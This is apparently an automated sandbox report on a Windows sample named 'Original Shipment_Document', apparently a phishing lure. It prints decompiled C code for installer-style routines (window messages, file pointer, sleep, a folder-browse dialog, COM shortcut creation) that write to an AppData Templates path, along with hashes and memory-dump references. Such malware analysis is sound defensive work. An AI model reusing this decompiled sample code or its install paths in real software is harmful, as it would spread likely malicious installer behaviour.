API String ID: 71445658-0
Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction ID: 95f024e915835d806257714b27b18acfdec26fcf9bd71fa5ecdde53cd8054228
Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction Fuzzy Hash: 00D0123210030DBBDF11AF90DD01FAB3B1DAB08310F014436FE06A5091D776D530AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004044AF Relevance: 1.5, APIs: 1, Instructions: 9
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004044AF(int _a4) {
				struct HWND__* _t2;
				long _t3;

				_t2 =  *0x4291f8;
				if(_t2 != 0) {
					_t3 = SendMessageW(_t2, _a4, 0, 0); // executed
					return _t3;
				}
				return _t2;
			}

0x004044af
0x004044b6
0x004044c1
0x00000000
0x004044c1
0x004044c7

APIs

SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004044C1

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 74117c3da1d14bbcbc4f92c0e0eb3ebd0fff66770c46117da5e433d52de2638c
Instruction ID: 22c14ff0de7d99e8655fd7423acc63eaa31bea8074cc9abcc6b2c74ee929f0f7
Opcode Fuzzy Hash: 74117c3da1d14bbcbc4f92c0e0eb3ebd0fff66770c46117da5e433d52de2638c
Instruction Fuzzy Hash: 54C09B71740706BBEE608F519D49F1777586750700F298579B755F60D0C674E410DA1C

Uniqueness

Uniqueness Score: -1.00%

Function 00404498 Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404498(int _a4) {
				long _t2;

				_t2 = SendMessageW( *0x42a228, 0x28, _a4, 1); // executed
				return _t2;
			}

0x004044a6
0x004044ac

APIs

SendMessageW.USER32(00000028,?,00000001,004042C3), ref: 004044A6

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 3ca17ea631bf80887aa3d9427a31a3d2622a0e2ccdc50664b5f44c823975825e
Instruction ID: a70792fcf8e9dbddb4bc54a752e2f47ec30058e0f009e109d264f56951a5bac9
Opcode Fuzzy Hash: 3ca17ea631bf80887aa3d9427a31a3d2622a0e2ccdc50664b5f44c823975825e
Instruction Fuzzy Hash: 28B09236281A00EBDE614B00EE09F457A62A768701F008468B641240B0CAB240A5DB19

Uniqueness

Uniqueness Score: -1.00%

Function 004034AF Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004034AF(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x40a018, _a4, 0, 0); // executed
				return _t2;
			}

0x004034bd
0x004034c3

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403242,?,?,?,?,?,?,00403847,?), ref: 004034BD

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction ID: 036c8468b6dd2e012b37e6e875261c5f60c7cf4634656b07e897873a541603b6
Opcode Fuzzy Hash: e1e4f0b9cbde4cef3e4374ef9de0ac4f9a9ec0cef6a377cf2568efe91b529ef4
Instruction Fuzzy Hash: 1FB01231140304BFDA214F10DF09F067B21BB94700F20C034B384380F086711435EB0D

Uniqueness

Uniqueness Score: -1.00%

Function 00404485 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404485(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x423704, _a4); // executed
				return _t2;
			}

0x0040448f
0x00404495

APIs

KiUserCallbackDispatcher.NTDLL(?,0040425C), ref: 0040448F

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6342aa29cb2c9815646e1c742645cf47b0e1b8d5e1fd84f5a818bc9ff96277f1
Instruction ID: c8b2e0b7737fb6f3a2012ed53d18a955e8c044ab00f5fdb14f1eccf879f4c073
Opcode Fuzzy Hash: 6342aa29cb2c9815646e1c742645cf47b0e1b8d5e1fd84f5a818bc9ff96277f1
Instruction Fuzzy Hash: 6FA001B6604500ABDE129FA1EF09D0ABF72EBA4702B418579E28590034CB364961EF1D

Uniqueness

Uniqueness Score: -1.00%

Function 004014D7 Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004014D7(intOrPtr __edx) {
				long _t3;
				void* _t7;
				intOrPtr _t10;
				void* _t13;

				_t10 = __edx;
				_t3 = E00402D84(_t7);
				 *((intOrPtr*)(_t13 - 0x10)) = _t10;
				if(_t3 <= 1) {
					_t3 = 1;
				}
				Sleep(_t3); // executed
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t13 - 4));
				return 0;
			}

0x004014d7
0x004014d8
0x004014e1
0x004014e4
0x004014e8
0x004014e8
0x004014ea
0x00402c2d
0x00402c39

APIs

Sleep.KERNELBASE(00000000), ref: 004014EA

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 531fc49b39326f047bd867b4956693a17a39f06a36c2e0e9728951694256af91
Instruction ID: 13549e56dd5f321cd39d4a1c5d69ee1d893e1909e6cc3dd33a15c81121e8da7c
Opcode Fuzzy Hash: 531fc49b39326f047bd867b4956693a17a39f06a36c2e0e9728951694256af91
Instruction Fuzzy Hash: 7CD05E73A141018BD714EBB8BE8545E73A8EB503193208837D402E1191E67888564618

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404954 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 275
stringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E00404954(unsigned int __edx, struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				long _v16;
				long _v20;
				long _v24;
				char _v28;
				intOrPtr _v32;
				long _v36;
				char _v40;
				unsigned int _v44;
				signed int _v48;
				WCHAR* _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				WCHAR* _v72;
				void _v76;
				struct HWND__* _v80;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t82;
				long _t87;
				short* _t89;
				void* _t95;
				signed int _t96;
				int _t109;
				signed short _t114;
				signed int _t118;
				struct HWND__** _t122;
				intOrPtr* _t138;
				WCHAR* _t146;
				unsigned int _t150;
				signed int _t152;
				unsigned int _t156;
				signed int _t158;
				signed int* _t159;
				signed int* _t160;
				struct HWND__* _t166;
				struct HWND__* _t167;
				int _t169;
				unsigned int _t197;

				_t156 = __edx;
				_t82 =  *0x4226e0; // 0x54b2dc
				_v32 = _t82;
				_t146 = ( *(_t82 + 0x3c) << 0xb) + 0x42b000;
				_v12 =  *((intOrPtr*)(_t82 + 0x38));
				if(_a8 == 0x40b) {
					E00405B4B(0x3fb, _t146);
					E0040678E(_t146);
				}
				_t167 = _a4;
				if(_a8 != 0x110) {
					L8:
					if(_a8 != 0x111) {
						L20:
						if(_a8 == 0x40f) {
							L22:
							_v8 = _v8 & 0x00000000;
							_v12 = _v12 & 0x00000000;
							E00405B4B(0x3fb, _t146);
							if(E00405EDE(_t186, _t146) == 0) {
								_v8 = 1;
							}
							E00406507(0x4216d8, _t146);
							_t87 = E004068D4(1);
							_v16 = _t87;
							if(_t87 == 0) {
								L30:
								E00406507(0x4216d8, _t146);
								_t89 = E00405E81(0x4216d8);
								_t158 = 0;
								if(_t89 != 0) {
									 *_t89 = 0;
								}
								if(GetDiskFreeSpaceW(0x4216d8,  &_v20,  &_v24,  &_v16,  &_v36) == 0) {
									goto L35;
								} else {
									_t169 = 0x400;
									_t109 = MulDiv(_v20 * _v24, _v16, 0x400);
									asm("cdq");
									_v48 = _t109;
									_v44 = _t156;
									_v12 = 1;
									goto L36;
								}
							} else {
								_t159 = 0;
								if(0 == 0x4216d8) {
									goto L30;
								} else {
									goto L26;
								}
								while(1) {
									L26:
									_t114 = _v16(0x4216d8,  &_v48,  &_v28,  &_v40);
									if(_t114 != 0) {
										break;
									}
									if(_t159 != 0) {
										 *_t159 =  *_t159 & _t114;
									}
									_t160 = E00405E22(0x4216d8);
									 *_t160 =  *_t160 & 0x00000000;
									_t159 = _t160;
									 *_t159 = 0x5c;
									if(_t159 != 0x4216d8) {
										continue;
									} else {
										goto L30;
									}
								}
								_t150 = _v44;
								_v48 = (_t150 << 0x00000020 | _v48) >> 0xa;
								_v44 = _t150 >> 0xa;
								_v12 = 1;
								_t158 = 0;
								__eflags = 0;
								L35:
								_t169 = 0x400;
								L36:
								_t95 = E00404DF1(5);
								if(_v12 != _t158) {
									_t197 = _v44;
									if(_t197 <= 0 && (_t197 < 0 || _v48 < _t95)) {
										_v8 = 2;
									}
								}
								if( *((intOrPtr*)( *0x4291fc + 0x10)) != _t158) {
									E00404DD9(0x3ff, 0xfffffffb, _t95);
									if(_v12 == _t158) {
										SetDlgItemTextW(_a4, _t169, 0x4216c8);
									} else {
										E00404D10(_t169, 0xfffffffc, _v48, _v44);
									}
								}
								_t96 = _v8;
								 *0x42a2c4 = _t96;
								if(_t96 == _t158) {
									_v8 = E0040140B(7);
								}
								if(( *(_v32 + 0x14) & _t169) != 0) {
									_v8 = _t158;
								}
								E00404485(0 | _v8 == _t158);
								if(_v8 == _t158 &&  *0x4236f8 == _t158) {
									E004048AD();
								}
								 *0x4236f8 = _t158;
								goto L53;
							}
						}
						_t186 = _a8 - 0x405;
						if(_a8 != 0x405) {
							goto L53;
						}
						goto L22;
					}
					_t118 = _a12 & 0x0000ffff;
					if(_t118 != 0x3fb) {
						L12:
						if(_t118 == 0x3e9) {
							_t152 = 7;
							memset( &_v76, 0, _t152 << 2);
							_v80 = _t167;
							_v72 = 0x423708;
							_v60 = E00404CAA;
							_v56 = _t146;
							_v68 = E00406544(_t146, 0x423708, _t167, 0x421ee0, _v12);
							_t122 =  &_v80;
							_v64 = 0x41;
							__imp__SHBrowseForFolderW(_t122);
							if(_t122 == 0) {
								_a8 = 0x40f;
							} else {
								__imp__CoTaskMemFree(_t122);
								E00405DD6(_t146);
								_t125 =  *((intOrPtr*)( *0x42a230 + 0x11c));
								if( *((intOrPtr*)( *0x42a230 + 0x11c)) != 0 && _t146 == L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen") {
									E00406544(_t146, 0x423708, _t167, 0, _t125);
									if(lstrcmpiW(0x4281c0, 0x423708) != 0) {
										lstrcatW(_t146, 0x4281c0);
									}
								}
								 *0x4236f8 =  *0x4236f8 + 1;
								SetDlgItemTextW(_t167, 0x3fb, _t146);
							}
						}
						goto L20;
					}
					if(_a12 >> 0x10 != 0x300) {
						goto L53;
					}
					_a8 = 0x40f;
					goto L12;
				} else {
					_t166 = GetDlgItem(_t167, 0x3fb);
					if(E00405E4D(_t146) != 0 && E00405E81(_t146) == 0) {
						E00405DD6(_t146);
					}
					 *0x4291f8 = _t167;
					SetWindowTextW(_t166, _t146);
					_push( *((intOrPtr*)(_a16 + 0x34)));
					_push(1);
					E00404463(_t167);
					_push( *((intOrPtr*)(_a16 + 0x30)));
					_push(0x14);
					E00404463(_t167);
					E00404498(_t166);
					_t138 = E004068D4(8);
					if(_t138 == 0) {
						L53:
						return E004044CA(_a8, _a12, _a16);
					} else {
						 *_t138(_t166, 1);
						goto L8;
					}
				}
			}

0x00404954
0x0040495a
0x00404960
0x0040496d
0x0040497b
0x0040497e
0x00404986
0x0040498c
0x0040498c
0x00404998
0x0040499b
0x00404a09
0x00404a10
0x00404ae7
0x00404aee
0x00404afd
0x00404afd
0x00404b01
0x00404b0b
0x00404b18
0x00404b1a
0x00404b1a
0x00404b28
0x00404b2f
0x00404b36
0x00404b39
0x00404b75
0x00404b77
0x00404b7d
0x00404b82
0x00404b86
0x00404b88
0x00404b88
0x00404ba4
0x00000000
0x00404ba6
0x00404ba9
0x00404bb7
0x00404bbd
0x00404bbe
0x00404bc1
0x00404bc4
0x00000000
0x00404bc4
0x00404b3b
0x00404b3d
0x00404b41
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b43
0x00404b43
0x00404b50
0x00404b55
0x00000000
0x00000000
0x00404b59
0x00404b5b
0x00404b5b
0x00404b64
0x00404b66
0x00404b6b
0x00404b6e
0x00404b73
0x00000000
0x00000000
0x00000000
0x00000000
0x00404b73
0x00404bd0
0x00404bda
0x00404bdd
0x00404be0
0x00404be7
0x00404be7
0x00404be9
0x00404be9
0x00404bee
0x00404bf0
0x00404bf8
0x00404bff
0x00404c01
0x00404c0c
0x00404c0c
0x00404c01
0x00404c1c
0x00404c26
0x00404c2e
0x00404c49
0x00404c30
0x00404c39
0x00404c39
0x00404c2e
0x00404c4e
0x00404c53
0x00404c58
0x00404c61
0x00404c61
0x00404c6a
0x00404c6c
0x00404c6c
0x00404c78
0x00404c80
0x00404c8a
0x00404c8a
0x00404c8f
0x00000000
0x00404c8f
0x00404b39
0x00404af0
0x00404af7
0x00000000
0x00000000
0x00000000
0x00404af7
0x00404a16
0x00404a1f
0x00404a39
0x00404a3e
0x00404a48
0x00404a4f
0x00404a5b
0x00404a5e
0x00404a61
0x00404a68
0x00404a70
0x00404a73
0x00404a77
0x00404a7e
0x00404a86
0x00404ae0
0x00404a88
0x00404a89
0x00404a90
0x00404a9a
0x00404aa2
0x00404aaf
0x00404ac3
0x00404ac7
0x00404ac7
0x00404ac3
0x00404acc
0x00404ad9
0x00404ad9
0x00404a86
0x00000000
0x00404a3e
0x00404a2c
0x00000000
0x00000000
0x00404a32
0x00000000
0x0040499d
0x004049aa
0x004049b3
0x004049c0
0x004049c0
0x004049c7
0x004049cd
0x004049d6
0x004049d9
0x004049dc
0x004049e4
0x004049e7
0x004049ea
0x004049f0
0x004049f7
0x004049fe
0x00404c95
0x00404ca7
0x00404a04
0x00404a07
0x00000000
0x00404a07
0x004049fe

APIs

GetDlgItem.USER32(?,000003FB), ref: 004049A3
SetWindowTextW.USER32(00000000,?), ref: 004049CD
SHBrowseForFolderW.SHELL32(?), ref: 00404A7E
CoTaskMemFree.OLE32(00000000), ref: 00404A89
lstrcmpiW.KERNEL32(Call,00423708,00000000,?,?), ref: 00404ABB
lstrcatW.KERNEL32(?,Call), ref: 00404AC7
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404AD9

Part of subcall function 00405B4B: GetDlgItemTextW.USER32(?,?,00000400,00404B10), ref: 00405B5E

Part of subcall function 0040678E: CharNextW.USER32(?,*?|<>/":,00000000,00000000,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 004067F1
Part of subcall function 0040678E: CharNextW.USER32(?,?,?,00000000,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406800
Part of subcall function 0040678E: CharNextW.USER32(?,00000000,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406805
Part of subcall function 0040678E: CharPrevW.USER32(?,?,777C3420,C:\Users\user\AppData\Local\Temp\,?,004034D2,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004037DA), ref: 00406818

GetDiskFreeSpaceW.KERNEL32(004216D8,?,?,0000040F,?,004216D8,004216D8,?,00000001,004216D8,?,?,000003FB,?), ref: 00404B9C
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404BB7

Part of subcall function 00404D10: lstrlenW.KERNEL32(00423708,00423708,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404DB1
Part of subcall function 00404D10: wsprintfW.USER32 ref: 00404DBA
Part of subcall function 00404D10: SetDlgItemTextW.USER32(?,00423708), ref: 00404DCD

Strings

Call, xrefs: 00404AB5, 00404ABA, 00404AC5
A, xrefs: 00404A77
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 00404AA4

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973359716.0000000000452000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Original Shipment_Document.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: A$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen$Call
API String ID: 2624150263-969474335
Opcode ID: 1c5a3ed0ee9c710774ec2d8b2a9b1df20d62e7de402cc8ac4ccff064f1b89d12
Instruction ID: 7ddb5d330cbe89f2e36b0747fff93e5a2dbc4858b94af439da1a7eccca155f6e
Opcode Fuzzy Hash: 1c5a3ed0ee9c710774ec2d8b2a9b1df20d62e7de402cc8ac4ccff064f1b89d12
Instruction Fuzzy Hash: 2EA18FB1900209ABDB119FA6CD45AAFB6B8EF84314F11803BF611B62D1D77C9A418B69

Uniqueness

Uniqueness Score: -1.00%

Function 004021AA Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 129
comCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E004021AA(void* __eflags) {
				signed int _t52;
				void* _t56;
				intOrPtr* _t60;
				intOrPtr _t61;
				intOrPtr* _t62;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t74;
				intOrPtr* _t76;
				intOrPtr* _t78;
				intOrPtr* _t80;
				void* _t83;
				intOrPtr* _t91;
				signed int _t101;
				signed int _t105;
				void* _t107;

				 *((intOrPtr*)(_t107 - 0x10)) = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t107 - 0x44)) = E00402DA6(0xffffffdf);
				 *((intOrPtr*)(_t107 - 8)) = E00402DA6(2);
				 *((intOrPtr*)(_t107 - 0x4c)) = E00402DA6(0xffffffcd);
				 *((intOrPtr*)(_t107 - 0xc)) = E00402DA6(0x45);
				_t52 =  *(_t107 - 0x20);
				 *(_t107 - 0x50) = _t52 & 0x00000fff;
				_t101 = _t52 & 0x00008000;
				_t105 = _t52 >> 0x0000000c & 0x00000007;
				 *(_t107 - 0x40) = _t52 >> 0x00000010 & 0x0000ffff;
				if(E00405E4D( *((intOrPtr*)(_t107 - 0x44))) == 0) {
					E00402DA6(0x21);
				}
				_t56 = _t107 + 8;
				__imp__CoCreateInstance(0x4084e4, _t83, 1, 0x4084d4, _t56);
				if(_t56 < _t83) {
					L14:
					 *((intOrPtr*)(_t107 - 4)) = 1;
					_push(0xfffffff0);
				} else {
					_t60 =  *((intOrPtr*)(_t107 + 8));
					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084f4, _t107 - 0x38);
					 *((intOrPtr*)(_t107 - 0x18)) = _t61;
					if(_t61 >= _t83) {
						_t64 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x44)));
						if(_t101 == _t83) {
							_t80 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\timelrer\\Tdlen");
						}
						if(_t105 != _t83) {
							_t78 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
						}
						_t66 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x40));
						_t91 =  *((intOrPtr*)(_t107 - 0x4c));
						if( *_t91 != _t83) {
							_t76 =  *((intOrPtr*)(_t107 + 8));
							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x50));
						}
						_t68 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
						_t70 =  *((intOrPtr*)(_t107 + 8));
						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
						if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
							_t74 =  *((intOrPtr*)(_t107 - 0x38));
							 *((intOrPtr*)(_t107 - 0x18)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x10)), 1);
						}
						_t72 =  *((intOrPtr*)(_t107 - 0x38));
						 *((intOrPtr*)( *_t72 + 8))(_t72);
					}
					_t62 =  *((intOrPtr*)(_t107 + 8));
					 *((intOrPtr*)( *_t62 + 8))(_t62);
					if( *((intOrPtr*)(_t107 - 0x18)) >= _t83) {
						_push(0xfffffff4);
					} else {
						goto L14;
					}
				}
				E00401423();
				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t107 - 4));
				return 0;
			}

0x004021b3
0x004021bd
0x004021c7
0x004021d1
0x004021dc
0x004021df
0x004021f9
0x004021fc
0x00402202
0x00402205
0x0040220f
0x00402213
0x00402213
0x00402218
0x00402229
0x00402231
0x004022e8
0x004022e8
0x004022ef
0x00402237
0x00402237
0x00402246
0x0040224a
0x0040224d
0x00402253
0x00402261
0x00402264
0x00402266
0x00402271
0x00402271
0x00402276
0x00402278
0x0040227f
0x0040227f
0x00402282
0x0040228b
0x0040228e
0x00402294
0x00402296
0x004022a0
0x004022a0
0x004022a3
0x004022ac
0x004022af
0x004022b8
0x004022be
0x004022c0
0x004022ce
0x004022ce
0x004022d1
0x004022d7
0x004022d7
0x004022da
0x004022e0
0x004022e6
0x004022fb
0x00000000
0x00000000
0x00000000
0x004022e6
0x004022f1
0x00402c2d
0x00402c39

APIs

CoCreateInstance.OLE32(004084E4,?,00000001,004084D4,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402229

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\timelrer\Tdlen, xrefs: 00402269

Memory Dump Source

Source File: 00000001.00000002.185972988046.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.185972964431.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973038632.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973066521.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973206240.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973228109.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973264333.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973290685.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.185973335357.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
